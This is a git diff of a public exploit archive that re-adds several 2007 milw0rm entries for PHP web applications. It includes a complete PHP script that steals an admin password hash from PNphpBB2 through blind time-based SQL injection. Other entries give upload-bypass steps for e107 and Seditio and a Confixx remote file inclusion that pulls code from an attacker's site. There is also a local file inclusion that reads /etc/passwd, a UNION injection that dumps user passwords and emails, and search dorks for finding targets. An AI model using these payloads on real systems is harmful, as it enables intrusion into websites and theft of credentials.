+if($pass==""){echo "exploit failed, check prefix !!!!!!!!!! (index.php?name=PNphpBB2&file=index&c='1)\r\n";
+echo "Go to DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam\r\n";}
+?>
+
+# milw0rm.com [2007-06-03]
diff --git a/platforms/php/webapps/4099.txt b/platforms/php/webapps/4099.txt
index e654772b9..be01dba15 100755
--- a/platforms/php/webapps/4099.txt
+++ b/platforms/php/webapps/4099.txt
@@ -1,46 +1,46 @@
-###############################################################################################
-#         ___   ___                         _
-#        / _ \ / _ \                       | |
-#   __ _| | | | | | |_ __  ___   _ __   ___| |_
-#  / _` | | | | | | | '_ \/ __| | '_ \ / _ \ __|
-# | (_| | |_| | |_| | | | \__ \_| | | |  __/ |_
-#  \__, |\___/ \___/|_| |_|___(_)_| |_|\___|\__|
-#   __/ |
-#  |___/
-###############################################################################################
-#INFO:
-#Program Title ################################################################################
-#e107 <= 0.7.8 - Arbitrary File Upload
-#
-#Description ##################################################################################
-#"e107 is a content management system written in PHP and using the popular open source MySQL 
-#database system for content storage. It's completely free, totally customisable and in 
-#constant development" - e107.org
-#
-#Script Download ##############################################################################
-#http://e107.org/edownload.php
-#
-#Original Advisory ############################################################################
-#http://www.g00ns-forum.net/showthread.php?t=9388
-#
-#Vuln #########################################################################################
-#vuln discovered by clorox
-#shoutz: z3r0, milf, blackhill, godxcel, murderskillz, kirby, katalyst, SyNiCaL, OD, pr0be, rezen, str0ke,
-#fish, rey, canuck, ,vipsta, c0ma, grumpy, sick, trin, asdfhacks.com , a59, freeillwill.com, seven, tower, fury, 
-#SS, <S>, Bernard, rst.void.ru, awesome andrew, and everyone else at g00ns.net
-#
-#Details ######################################################################################                         
-#note: e107 is only vulnerable if it allows you to upload a photograph, avatars will not work.#
-#to enable this an admin has to manually the settings in change e107_admin/users.php?options  #
-###############################################################################################
-#signup.php does not verify that a file submitted as an image is actually an image. it controls files uploaded
-#only by the extension. files with a .php extension are blocked, but you can simply rename a php document to
-#document.php.jpg and it passes the image verification and is uploaded.  to get the path of the file you uploaded
-#you view your profile, view the source of the page and search for the name of the file and it will be there with 
-#a few random numbers in it, and now all an attacker would have to do is simply call the evil script up and the
-#server has been compromised.
-#GoogleDork: "Please note: Any image uploaded to this server that is deemed inappropriate by the administrators will be deleted immediately."
-#
-################################################################################################
-
-# milw0rm.com [2007-06-24]
+###############################################################################################
+#         ___   ___                         _
+#        / _ \ / _ \                       | |
+#   __ _| | | | | | |_ __  ___   _ __   ___| |_
+#  / _` | | | | | | | '_ \/ __| | '_ \ / _ \ __|
+# | (_| | |_| | |_| | | | \__ \_| | | |  __/ |_
+#  \__, |\___/ \___/|_| |_|___(_)_| |_|\___|\__|
+#   __/ |
+#  |___/
+###############################################################################################
+#INFO:
+#Program Title ################################################################################
+#e107 <= 0.7.8 - Arbitrary File Upload
+#
+#Description ##################################################################################
+#"e107 is a content management system written in PHP and using the popular open source MySQL 
+#database system for content storage. It's completely free, totally customisable and in 
+#constant development" - e107.org
+#
+#Script Download ##############################################################################
+#http://e107.org/edownload.php
+#
+#Original Advisory ############################################################################
+#http://www.g00ns-forum.net/showthread.php?t=9388
+#
+#Vuln #########################################################################################
+#vuln discovered by clorox
+#shoutz: z3r0, milf, blackhill, godxcel, murderskillz, kirby, katalyst, SyNiCaL, OD, pr0be, rezen, str0ke,
+#fish, rey, canuck, ,vipsta, c0ma, grumpy, sick, trin, asdfhacks.com , a59, freeillwill.com, seven, tower, fury, 
+#SS, <S>, Bernard, rst.void.ru, awesome andrew, and everyone else at g00ns.net
+#
+#Details ######################################################################################                         
+#note: e107 is only vulnerable if it allows you to upload a photograph, avatars will not work.#
+#to enable this an admin has to manually the settings in change e107_admin/users.php?options  #
+###############################################################################################
+#signup.php does not verify that a file submitted as an image is actually an image. it controls files uploaded
+#only by the extension. files with a .php extension are blocked, but you can simply rename a php document to
+#document.php.jpg and it passes the image verification and is uploaded.  to get the path of the file you uploaded
+#you view your profile, view the source of the page and search for the name of the file and it will be there with 
+#a few random numbers in it, and now all an attacker would have to do is simply call the evil script up and the
+#server has been compromised.
+#GoogleDork: "Please note: Any image uploaded to this server that is deemed inappropriate by the administrators will be deleted immediately."
+#
+################################################################################################
+
+# milw0rm.com [2007-06-24]
diff --git a/platforms/php/webapps/4147.php b/platforms/php/webapps/4147.php
index b003c249e..dc754aab1 100755
--- a/platforms/php/webapps/4147.php
+++ b/platforms/php/webapps/4147.php
@@ -1,316 +1,316 @@
-/*
-[i] PNphpBB2 "viewforum.php" SQL Injection Blind Password Hash Fishing Exploit
-[i] Vulnerable versions: PNphpBB2 <= 1.2i (current last version)
-[i] Bug discovered by: Coloss
-[i] Exploit by: Coloss
-[i] Date: 03.07.2007
-
-[Notes]
-[->] You need at least 2 posts in the forum.
-[->] Thanks to waraxe for exploit structure... I have saved much time :)
-
-[Tested]
-[->] Postnuke 0.764 with PNphpBB2 1.2i and MySQL 5.0.42
-     Maybe with other MySQL versions SQL Query should be slightly different
-
-[Bug Analysis]
-
-File: viewforum.php
-
-   387  if ( isset($HTTP_GET_VARS['order']) || isset($HTTP_POST_VARS['order']) )
-   388  {
-   389           $sort_order = isset($HTTP_GET_VARS['order']) ? $HTTP_GET_VARS['order'] : $HTTP_POST_VARS['order'];
-   390  }
-
-We can handle '$sort_order'...
-
-   415  $sql = "SELECT t.*, u.username, u.user_id, u2.username as user2, u2.user_id as id2, p.post_username, p2.post_username AS post_username2, p2.post_time
-   416          FROM " . TOPICS_TABLE . " t, " . USERS_TABLE . " u, " . POSTS_TABLE . " p, " . POSTS_TABLE . " p2, " . USERS_TABLE . " u2
-   417          WHERE t.forum_id = $forum_id
-   418                  AND t.topic_poster = u.user_id
-   419                  AND p.post_id = t.topic_first_post_id
-   420                  AND p2.post_id = t.topic_last_post_id
-   421                  AND u2.user_id = p2.poster_id
-   422                  AND t.topic_type <> " . POST_ANNOUNCE . "
-   423                  $limit_topics_time
-   424          ORDER BY t.topic_type DESC, $sort_method $sort_order
-   425          LIMIT $start, ".$board_config['topics_per_page'];
-
-... and this value is used without any check in the sql query.^
-
-The only "problem" could be that the SQL injection is only possible after an 'ORDER BY' statement... but we should be able (with appropriate MySQL version) to inject a subquery.
-
-In this case we can request something like this: 
-http://www.site.com/postnuke/?module=PNphpBB2&file=viewforum&f=1&order=ASC, (SELECT user_password FROM pn_phpbb_users WHERE user_id=2 AND IF(ORD(SUBSTR(user_password,1,1))>52,BENCHMARK(2500000,MD5(71337)),1))
-
-With this kind of query we can use an 'if' statement to discover each character of the admin's password hash, analyzing the delay time of server's answers.
-In fact if the 'if' statement results true (ORD() returns the ascii value of a character) the md5() function 'll be repeated 2500000 times and you 'll get a big delay.
-
-For more informations study the SQL Functions list.
-*/
-
-$testcnt = 300000;				// Use bigger numbers, if server is slow
-$fid = 1;					// Forum ID
-$prefix = "pn_";				// SQL Table prefix
-$adminid = 2;					// Admin user id, default: 2
-
-$opts = getopt("u:f:U:P:o:");
-
-print 
-"[i] PNphpBB2 \"viewforum.php\" SQL Injection Blind Password Hash Fishing Exploit
-[i] Vulnerable versions: PNphpBB2 <= 1.2i (current last version)
-[i] Bug discovered by: Coloss
-[i] Exploit by: Coloss
-[i] Date: 03.07.2007\n\n";
-
-
-if ($opts[u] == '')
-	die (help($argv[0]));
-
-if (strncmp($opts[u], "http",4))
-	$url = 'http://'.$opts[u];
-else
-	$url = $opts[u];
-
-if ($opts[U])
-	$user = $opts[U];
-if ($opts[P])
-	$hash = $opts[P];
-if ($opts[o])
-	$file = $opts[o];
-if ($opts[f])
-	$fid = (int) $opts[f];
-
-echo "[+] Target: $url\n";
-
-$norm_delay = 0;
-echo "[+] Testing probe delays... \n"; 
-$norm_delay = get_normdelay($testcnt);
-echo "[-] Normal delay: $norm_delay deciseconds\n";
-
-if (!$user) {
-	echo "[+] Trying to find admin username... ";
-	$user = find_username();
-}
-
-$field = 'user_password';
-
-if (!$hash) {
-	echo "\n[+] Trying to find Password MD5 Hash...\n\n";
-	$hash = get_hash();
-}
-
-echo"[-] Finished!\n";
-
-owrite("\n[->] Target: $url\n");
-owrite("[->] Username: $user\n");
-owrite("[->] Password MD5 Hash: $hash\n");
-
-function get_hash()
-{
-	global $field;
-
-	$len = 32;
-	$out = '';
-   
-	for($i = 1; $i < $len + 1; $i ++) {
-		$ch = get_hashchar($i);
-		$out .= "$ch";
-		echo "[->] Current '$field' ($i): $out \n";
-	}
-	echo "\n[-] Found Password Hash: $out\n\n";
-	return $out;
-}
-
-
-function get_hashchar($pos)
-{
-	global $fid, $testcnt, $field, $adminid, $prefix;
-	$char = '';
-	$cnt = $testcnt * 5;
-
-	$sql = "ASC, (SELECT ".$field." FROM ".$prefix."phpbb_users WHERE user_id=".$adminid." AND IF(ORD(SUBSTR(".$field.",".$pos.",1))%s,BENCHMARK(".$cnt.",MD5(71337)),1))";
-	$post = "name=PNphpBB2&file=viewforum&f=".$fid."&order=".$sql;
-
-	$req = sprintf($post, ">57");
-	
-	$letter = test_condition($req);
-
-	if ($letter) {
-		$min = 97;
-		$max = 102;
-	}
-	else {
-		$min = 48;
-		$max = 57;
-	}
-
-	$curr = 0;
-   
-	while(1) {
-		$area = $max - $min;
-		if ($area < 2 ) {
-			$req = sprintf($post, "=$max");
-
-			$eq = test_condition($req);
-         
-			if($eq)
-				$char = chr($max);
-			else
-				$char = chr($min);
-			break;
-		}
-
-		$half = intval(floor($area / 2));
-		$curr = $min + $half;
-      
-		$req = sprintf($post, ">$curr");
-		echo $req;
-
-		$bigger = test_condition($req);
-      
-		if ($bigger)
-			$min = $curr;
-		else
-			$max = $curr;
-	}
-	return $char;
-}
-
-function test_condition($req)
-{
-	global $url, $norm_delay;
-
-	$bool = false;
-   
-	$start = getmicrotime();
-	$buff = Send($url, $req);
-	$end = getmicrotime();
-
-	$diff = $end - $start;
-	$delay = intval($diff * 10);
-   
-	if ($delay > ($norm_delay * 2))
-		$bool = true;
-	return $bool;
-}
-
-
-function get_normdelay($testcnt)
-{
-	$nda = test_md5delay(1);
-	$da = test_md5delay($testcnt);
-	$ndb = test_md5delay(1);
-	$db = test_md5delay($testcnt);
-	$ndc = test_md5delay(1);
-	$dc = test_md5delay($testcnt);
-
-	$mean_delayed = intval(($da + $db + $dc) / 3);
-   
-	return $mean_delayed;
-}
-
-function test_md5delay($cnt)
-{
-	global $url, $fid, $prefix, $adminid, $prefix;
-   
-	$delay = -1;
-	
-	$sql = "ASC, (SELECT user_password FROM ".$prefix."phpbb_users WHERE u.user_id=".$adminid." AND IF(LENGTH(user_password)>31,BENCHMARK(".$cnt.",MD5(71337)),1))";
-	$req = "name=PNphpBB2&file=viewforum&f=".$fid."&order=".$sql;
-
-	$start = getmicrotime();
-	$buff = Send($url, $req);
-	$end = getmicrotime();
-
-	if (strstr($buff, "Could not obtain topic information"))
-		die("[X] Something is wrong... (maybe SQL Query)\n");
-	else if (strstr($buff, "The forum you selected does not exist"))
-		die("[X] The Forum doesn't exist.. change 'fid' value\n");
-
-	$diff = $end - $start;
-	$delay = intval($diff * 10);
-
-	return $delay;
-}
-
-function getmicrotime()
-{
-	list($usec, $sec) = explode(" ", microtime());
-	return ((float)$usec + (float)$sec);
-}
-
-function Send($url, $req='')
-{
-	$ch = curl_init();
-
-	curl_setopt ($ch, CURLOPT_URL, $url);
-	curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
-	curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 60);
-
-	if ($req) {
-		curl_setopt($ch, CURLOPT_POST, 1);
-		curl_setopt($ch, CURLOPT_POSTFIELDS, $req);
-	}
-
-	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
-	curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
-
-	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
-
-	$html = curl_exec($ch);
-	curl_close($ch);
-   
-	return $html;
-}
-
-
-function help ($prog)
-{
-	print "[-] Usage: $prog 
-	 -u  <url>	-> Sets Target url
-	[-f] <id>	-> Sets forum id
-	[-U] <user>	-> Sets username
-	[-P] <pass>	-> Sets password
-	[-o] <file>	-> Writes results to a file\n";
-}
-
-
-function owrite ($msg)
-{
-	global $file;
-
-	echo $msg;
-
-	if ($file) {
-		if (!($h = fopen($file, 'ab'))) {
-			echo "[X] Cannot open '$file'\n";
-			return;
-		}
-		if (fwrite($h, $msg) === FALSE)
-			echo "[X] Cannot write to '$file'\n";
-		fclose($h);
-	}
-}	
-
-function find_username ()
-{
-	global $url, $fid, $adminid;
-
-	$req = "name=PNphpBB2&file=viewforum&f=".$fid;
-	$str = "file=profile&amp;mode=viewprofile&amp;u=".$adminid;
-
-	$html = Send($url, $req);
-
-	if (strstr($html, $str)) {
-		$u = substr($html,strpos($html,$str)+strlen($str),strpos(substr($html,strpos($html,$str)+strlen($str),strlen($html)), "<"));
-		$u = substr($u, strpos($u, ">")+1, strlen($u)-strpos($u, ">"));
-		echo "found: '$u'\n";
-	}
-	else
-		echo "failed: probably he has not posted in this forum (or maybe he has a different user id)\n";
-	return $u;
-}
-?>
-
-# milw0rm.com [2007-07-03]
+/*
+[i] PNphpBB2 "viewforum.php" SQL Injection Blind Password Hash Fishing Exploit
+[i] Vulnerable versions: PNphpBB2 <= 1.2i (current last version)
+[i] Bug discovered by: Coloss
+[i] Exploit by: Coloss
+[i] Date: 03.07.2007
+
+[Notes]
+[->] You need at least 2 posts in the forum.
+[->] Thanks to waraxe for exploit structure... I have saved much time :)
+
+[Tested]
+[->] Postnuke 0.764 with PNphpBB2 1.2i and MySQL 5.0.42
+     Maybe with other MySQL versions SQL Query should be slightly different
+
+[Bug Analysis]
+
+File: viewforum.php
+
+   387  if ( isset($HTTP_GET_VARS['order']) || isset($HTTP_POST_VARS['order']) )
+   388  {
+   389           $sort_order = isset($HTTP_GET_VARS['order']) ? $HTTP_GET_VARS['order'] : $HTTP_POST_VARS['order'];
+   390  }
+
+We can handle '$sort_order'...
+
+   415  $sql = "SELECT t.*, u.username, u.user_id, u2.username as user2, u2.user_id as id2, p.post_username, p2.post_username AS post_username2, p2.post_time
+   416          FROM " . TOPICS_TABLE . " t, " . USERS_TABLE . " u, " . POSTS_TABLE . " p, " . POSTS_TABLE . " p2, " . USERS_TABLE . " u2
+   417          WHERE t.forum_id = $forum_id
+   418                  AND t.topic_poster = u.user_id
+   419                  AND p.post_id = t.topic_first_post_id
+   420                  AND p2.post_id = t.topic_last_post_id
+   421                  AND u2.user_id = p2.poster_id
+   422                  AND t.topic_type <> " . POST_ANNOUNCE . "
+   423                  $limit_topics_time
+   424          ORDER BY t.topic_type DESC, $sort_method $sort_order
+   425          LIMIT $start, ".$board_config['topics_per_page'];
+
+... and this value is used without any check in the sql query.^
+
+The only "problem" could be that the SQL injection is only possible after an 'ORDER BY' statement... but we should be able (with appropriate MySQL version) to inject a subquery.
+
+In this case we can request something like this: 
+http://www.site.com/postnuke/?module=PNphpBB2&file=viewforum&f=1&order=ASC, (SELECT user_password FROM pn_phpbb_users WHERE user_id=2 AND IF(ORD(SUBSTR(user_password,1,1))>52,BENCHMARK(2500000,MD5(71337)),1))
+
+With this kind of query we can use an 'if' statement to discover each character of the admin's password hash, analyzing the delay time of server's answers.
+In fact if the 'if' statement results true (ORD() returns the ascii value of a character) the md5() function 'll be repeated 2500000 times and you 'll get a big delay.
+
+For more informations study the SQL Functions list.
+*/
+
+$testcnt = 300000;				// Use bigger numbers, if server is slow
+$fid = 1;					// Forum ID
+$prefix = "pn_";				// SQL Table prefix
+$adminid = 2;					// Admin user id, default: 2
+
+$opts = getopt("u:f:U:P:o:");
+
+print 
+"[i] PNphpBB2 \"viewforum.php\" SQL Injection Blind Password Hash Fishing Exploit
+[i] Vulnerable versions: PNphpBB2 <= 1.2i (current last version)
+[i] Bug discovered by: Coloss
+[i] Exploit by: Coloss
+[i] Date: 03.07.2007\n\n";
+
+
+if ($opts[u] == '')
+	die (help($argv[0]));
+
+if (strncmp($opts[u], "http",4))
+	$url = 'http://'.$opts[u];
+else
+	$url = $opts[u];
+
+if ($opts[U])
+	$user = $opts[U];
+if ($opts[P])
+	$hash = $opts[P];
+if ($opts[o])
+	$file = $opts[o];
+if ($opts[f])
+	$fid = (int) $opts[f];
+
+echo "[+] Target: $url\n";
+
+$norm_delay = 0;
+echo "[+] Testing probe delays... \n"; 
+$norm_delay = get_normdelay($testcnt);
+echo "[-] Normal delay: $norm_delay deciseconds\n";
+
+if (!$user) {
+	echo "[+] Trying to find admin username... ";
+	$user = find_username();
+}
+
+$field = 'user_password';
+
+if (!$hash) {
+	echo "\n[+] Trying to find Password MD5 Hash...\n\n";
+	$hash = get_hash();
+}
+
+echo"[-] Finished!\n";
+
+owrite("\n[->] Target: $url\n");
+owrite("[->] Username: $user\n");
+owrite("[->] Password MD5 Hash: $hash\n");
+
+function get_hash()
+{
+	global $field;
+
+	$len = 32;
+	$out = '';
+   
+	for($i = 1; $i < $len + 1; $i ++) {
+		$ch = get_hashchar($i);
+		$out .= "$ch";
+		echo "[->] Current '$field' ($i): $out \n";
+	}
+	echo "\n[-] Found Password Hash: $out\n\n";
+	return $out;
+}
+
+
+function get_hashchar($pos)
+{
+	global $fid, $testcnt, $field, $adminid, $prefix;
+	$char = '';
+	$cnt = $testcnt * 5;
+
+	$sql = "ASC, (SELECT ".$field." FROM ".$prefix."phpbb_users WHERE user_id=".$adminid." AND IF(ORD(SUBSTR(".$field.",".$pos.",1))%s,BENCHMARK(".$cnt.",MD5(71337)),1))";
+	$post = "name=PNphpBB2&file=viewforum&f=".$fid."&order=".$sql;
+
+	$req = sprintf($post, ">57");
+	
+	$letter = test_condition($req);
+
+	if ($letter) {
+		$min = 97;
+		$max = 102;
+	}
+	else {
+		$min = 48;
+		$max = 57;
+	}
+
+	$curr = 0;
+   
+	while(1) {
+		$area = $max - $min;
+		if ($area < 2 ) {
+			$req = sprintf($post, "=$max");
+
+			$eq = test_condition($req);
+         
+			if($eq)
+				$char = chr($max);
+			else
+				$char = chr($min);
+			break;
+		}
+
+		$half = intval(floor($area / 2));
+		$curr = $min + $half;
+      
+		$req = sprintf($post, ">$curr");
+		echo $req;
+
+		$bigger = test_condition($req);
+      
+		if ($bigger)
+			$min = $curr;
+		else
+			$max = $curr;
+	}
+	return $char;
+}
+
+function test_condition($req)
+{
+	global $url, $norm_delay;
+
+	$bool = false;
+   
+	$start = getmicrotime();
+	$buff = Send($url, $req);
+	$end = getmicrotime();
+
+	$diff = $end - $start;
+	$delay = intval($diff * 10);
+   
+	if ($delay > ($norm_delay * 2))
+		$bool = true;
+	return $bool;
+}
+
+
+function get_normdelay($testcnt)
+{
+	$nda = test_md5delay(1);
+	$da = test_md5delay($testcnt);
+	$ndb = test_md5delay(1);
+	$db = test_md5delay($testcnt);
+	$ndc = test_md5delay(1);
+	$dc = test_md5delay($testcnt);
+
+	$mean_delayed = intval(($da + $db + $dc) / 3);
+   
+	return $mean_delayed;
+}
+
+function test_md5delay($cnt)
+{
+	global $url, $fid, $prefix, $adminid, $prefix;
+   
+	$delay = -1;
+	
+	$sql = "ASC, (SELECT user_password FROM ".$prefix."phpbb_users WHERE u.user_id=".$adminid." AND IF(LENGTH(user_password)>31,BENCHMARK(".$cnt.",MD5(71337)),1))";
+	$req = "name=PNphpBB2&file=viewforum&f=".$fid."&order=".$sql;
+
+	$start = getmicrotime();
+	$buff = Send($url, $req);
+	$end = getmicrotime();
+
+	if (strstr($buff, "Could not obtain topic information"))
+		die("[X] Something is wrong... (maybe SQL Query)\n");
+	else if (strstr($buff, "The forum you selected does not exist"))
+		die("[X] The Forum doesn't exist.. change 'fid' value\n");
+
+	$diff = $end - $start;
+	$delay = intval($diff * 10);
+
+	return $delay;
+}
+
+function getmicrotime()
+{
+	list($usec, $sec) = explode(" ", microtime());
+	return ((float)$usec + (float)$sec);
+}
+
+function Send($url, $req='')
+{
+	$ch = curl_init();
+
+	curl_setopt ($ch, CURLOPT_URL, $url);
+	curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
+	curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 60);
+
+	if ($req) {
+		curl_setopt($ch, CURLOPT_POST, 1);
+		curl_setopt($ch, CURLOPT_POSTFIELDS, $req);
+	}
+
+	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
+	curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
+
+	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
+
+	$html = curl_exec($ch);
+	curl_close($ch);
+   
+	return $html;
+}
+
+
+function help ($prog)
+{
+	print "[-] Usage: $prog 
+	 -u  <url>	-> Sets Target url
+	[-f] <id>	-> Sets forum id
+	[-U] <user>	-> Sets username
+	[-P] <pass>	-> Sets password
+	[-o] <file>	-> Writes results to a file\n";
+}
+
+
+function owrite ($msg)
+{
+	global $file;
+
+	echo $msg;
+
+	if ($file) {
+		if (!($h = fopen($file, 'ab'))) {
+			echo "[X] Cannot open '$file'\n";
+			return;
+		}
+		if (fwrite($h, $msg) === FALSE)
+			echo "[X] Cannot write to '$file'\n";
+		fclose($h);
+	}
+}	
+
+function find_username ()
+{
+	global $url, $fid, $adminid;
+
+	$req = "name=PNphpBB2&file=viewforum&f=".$fid;
+	$str = "file=profile&amp;mode=viewprofile&amp;u=".$adminid;
+
+	$html = Send($url, $req);
+
+	if (strstr($html, $str)) {
+		$u = substr($html,strpos($html,$str)+strlen($str),strpos(substr($html,strpos($html,$str)+strlen($str),strlen($html)), "<"));
+		$u = substr($u, strpos($u, ">")+1, strlen($u)-strpos($u, ">"));
+		echo "found: '$u'\n";
+	}
+	else
+		echo "failed: probably he has not posted in this forum (or maybe he has a different user id)\n";
+	return $u;
+}
+?>
+
+# milw0rm.com [2007-07-03]
diff --git a/platforms/php/webapps/4219.txt b/platforms/php/webapps/4219.txt
index 8f58a687b..f3e899d71 100755
--- a/platforms/php/webapps/4219.txt
+++ b/platforms/php/webapps/4219.txt
@@ -1,40 +1,39 @@
-
-[*] Confixx <= PRO 3.3.1 Remote File Inclusion Vulnerability
-__________________________________________________________________________
-
-[!] Application homepage :   http://www.swsoft.com/de/products/confixx/
-[!] Author               :   H4 / XPK
-[!] Contact              :   http://xpkzxc.com/
-[!] Bug discovered       :   2007-07-21
-[!] Bug published        :   2007-07-24
-[!] Risk                 :   Moderate
-
-Do not forget visit our page for new vulnerabilites , information and tools.
-
----------------------------------------------------------------------
-
-Vuln. code: admin/business_inc/saveserver.php
-
-Lines 8-11
-
-if( !in_array($returnto, $actions) )
-{
-        include( $thisdir . "/business_inc/list.php" );
-}
-
-Variable $thisdir is not defined ...
-
----------------------------------------------------------------------
-
-An attacker does not need to be authenticated to access this file.
-
-[!] Conditions: open_basedir restriction off and allow_url_fopen = on
-
-[!] Exploitation : http://[target]/admin/business_inc/saveserver.php
-
-Post: thisdir=http://[yoursite]/images/1.jpg?&cmd=ls -la
-Get: saveserver.php?thisdir=http://[yoursite]/images/1.jpg?&cmd=ls -la
-
----------------------------------------------------------------------
-
-# milw0rm.com [2007-07-24]
+[*] Confixx <= PRO 3.3.1 Remote File Inclusion Vulnerability
+__________________________________________________________________________
+
+[!] Application homepage :   http://www.swsoft.com/de/products/confixx/
+[!] Author               :   H4 / XPK
+[!] Contact              :   http://xpkzxc.com/
+[!] Bug discovered       :   2007-07-21
+[!] Bug published        :   2007-07-24
+[!] Risk                 :   Moderate
+
+Do not forget visit our page for new vulnerabilites , information and tools.
+
+---------------------------------------------------------------------
+
+Vuln. code: admin/business_inc/saveserver.php
+
+Lines 8-11
+
+if( !in_array($returnto, $actions) )
+{
+        include( $thisdir . "/business_inc/list.php" );
+}
+
+Variable $thisdir is not defined ...
+
+---------------------------------------------------------------------
+
+An attacker does not need to be authenticated to access this file.
+
+[!] Conditions: open_basedir restriction off and allow_url_fopen = on
+
+[!] Exploitation : http://[target]/admin/business_inc/saveserver.php
+
+Post: thisdir=http://[yoursite]/images/1.jpg?&cmd=ls -la
+Get: saveserver.php?thisdir=http://[yoursite]/images/1.jpg?&cmd=ls -la
+
+---------------------------------------------------------------------
+
+# milw0rm.com [2007-07-24]
diff --git a/platforms/php/webapps/4235.txt b/platforms/php/webapps/4235.txt
index c1094ba77..7266a416d 100755
--- a/platforms/php/webapps/4235.txt
+++ b/platforms/php/webapps/4235.txt
@@ -1,27 +1,27 @@
-# Seditio CMS Remote File Upload Vulnerability
-
-# ReSearcher : A.D.T
-
-# Script : Seditio and Ldu Cms
-
-# Version : All Versions
-
-# Script HomePage : http://neocrome.net/
-
-# Dork : "powered by seditio" or "powered by ldu"
-
-# Risk : Very High!
-
-# Usage : Firstly, you register the victim web site. After, go to "pfs.php" and upload your evil script!
-
-# [+] Your Evil Script : evilscriptname.php.gif or evilscriptname.php.jpg or evilscriptname.php.png
-
-# Contact : a.d.t-gizliadres@hotmail.com
-
-# HomePage : http://err0rgroup.org/    
-
-# We Are : A.D.T | LaqNéS | KeyStr0ke |Pcq0 | Dümenci | SaLuR | Z@rih | 0ssi3 | Sanal-Tehlike | Lnt
-
-# ...and thanks str0ke
-
-# milw0rm.com [2007-07-27]
+# Seditio CMS Remote File Upload Vulnerability
+
+# ReSearcher : A.D.T
+
+# Script : Seditio and Ldu Cms
+
+# Version : All Versions
+
+# Script HomePage : http://neocrome.net/
+
+# Dork : "powered by seditio" or "powered by ldu"
+
+# Risk : Very High!
+
+# Usage : Firstly, you register the victim web site. After, go to "pfs.php" and upload your evil script!
+
+# [+] Your Evil Script : evilscriptname.php.gif or evilscriptname.php.jpg or evilscriptname.php.png
+
+# Contact : a.d.t-gizliadres@hotmail.com
+
+# HomePage : http://err0rgroup.org/    
+
+# We Are : A.D.T | LaqNéS | KeyStr0ke |Pcq0 | Dümenci | SaLuR | Z@rih | 0ssi3 | Sanal-Tehlike | Lnt
+
+# ...and thanks str0ke
+
+# milw0rm.com [2007-07-27]
diff --git a/platforms/php/webapps/4317.txt b/platforms/php/webapps/4317.txt
index 2f5ea22ab..d16ce04c4 100755
--- a/platforms/php/webapps/4317.txt
+++ b/platforms/php/webapps/4317.txt
@@ -1,33 +1,33 @@
-            -°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°
-
-             2532|Gigs 1.2.1 (activateuser.php) Local File Inclusion Vulnerability
-
-                              Discovered by bd0rk || SOH-Crew
-
-                                    www.soh-crew.it.tt
-
-                         The german Coding and IT-Security Ressource
-
-             -°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°
-
-
-Vendor: http://www.2532gigs.com
-
-Download: http://belnet.dl.sourceforge.net/sourceforge/gigs-2532/2532Gigs_1.2.1_stable.zip
-
-License: Free
-
-Vulnerable Code: include_once("languages/$language/settings.php");
-
-
-
-Exploit: http://[h0sT]/[dir]/activateuser.php?language=../../../../../../../../etc/passwd%00
-
-
-
-Greetings: str0ke, TheJT, GolD_M, die steffi, khaliDb, x0r_32
-
-
-####The 18 years old, german Hacker bd0rk####
-
-# milw0rm.com [2007-08-26]
+            -°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°
+
+             2532|Gigs 1.2.1 (activateuser.php) Local File Inclusion Vulnerability
+
+                              Discovered by bd0rk || SOH-Crew
+
+                                    www.soh-crew.it.tt
+
+                         The german Coding and IT-Security Ressource
+
+             -°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°-°
+
+
+Vendor: http://www.2532gigs.com
+
+Download: http://belnet.dl.sourceforge.net/sourceforge/gigs-2532/2532Gigs_1.2.1_stable.zip
+
+License: Free
+
+Vulnerable Code: include_once("languages/$language/settings.php");
+
+
+
+Exploit: http://[h0sT]/[dir]/activateuser.php?language=../../../../../../../../etc/passwd%00
+
+
+
+Greetings: str0ke, TheJT, GolD_M, die steffi, khaliDb, x0r_32
+
+
+####The 18 years old, german Hacker bd0rk####
+
+# milw0rm.com [2007-08-26]
diff --git a/platforms/php/webapps/4327.txt b/platforms/php/webapps/4327.txt
index 9d94f7968..4b8354afb 100755
--- a/platforms/php/webapps/4327.txt
+++ b/platforms/php/webapps/4327.txt
@@ -1,21 +1,21 @@
-####################################################################
-Title: WBB2-Addon: Acrotxt v1 (show) Remote SQL Injection
-Bug by: D4m14n [11/07/2007]
-Page: www.damians-world.dl.am // www.team-internet.dl.am
-Dork: inurl:acrotxt.php wbb
-####################################################################
-
-SQL-Injection:
-http://[target]/[path]/acrotxt.php?show=[SQL]
-
-Example:
-/acrotxt.php?show=-1'/**/UnIoN/**/SElECt/**/null,null,COnCAt(userid,', ',username,', ',password,', ',email),null,null,null,null,null/**/FroM/**/bb1_users/*
-
-####################################################################
-#    Doin' this for FUN!
-#    GreetZ fly out to Trex, HANN!BAL, Eddy14, Ea$y, Kiba and many more
-#
-#    PS: I still hate the Black-Music-Scene...
-####################################################################
-
-# milw0rm.com [2007-08-27]
+####################################################################
+Title: WBB2-Addon: Acrotxt v1 (show) Remote SQL Injection
+Bug by: D4m14n [11/07/2007]
+Page: www.damians-world.dl.am // www.team-internet.dl.am
+Dork: inurl:acrotxt.php wbb
+####################################################################
+
+SQL-Injection:
+http://[target]/[path]/acrotxt.php?show=[SQL]
+
+Example:
+/acrotxt.php?show=-1'/**/UnIoN/**/SElECt/**/null,null,COnCAt(userid,', ',username,', ',password,', ',email),null,null,null,null,null/**/FroM/**/bb1_users/*
+
+####################################################################
+#    Doin' this for FUN!
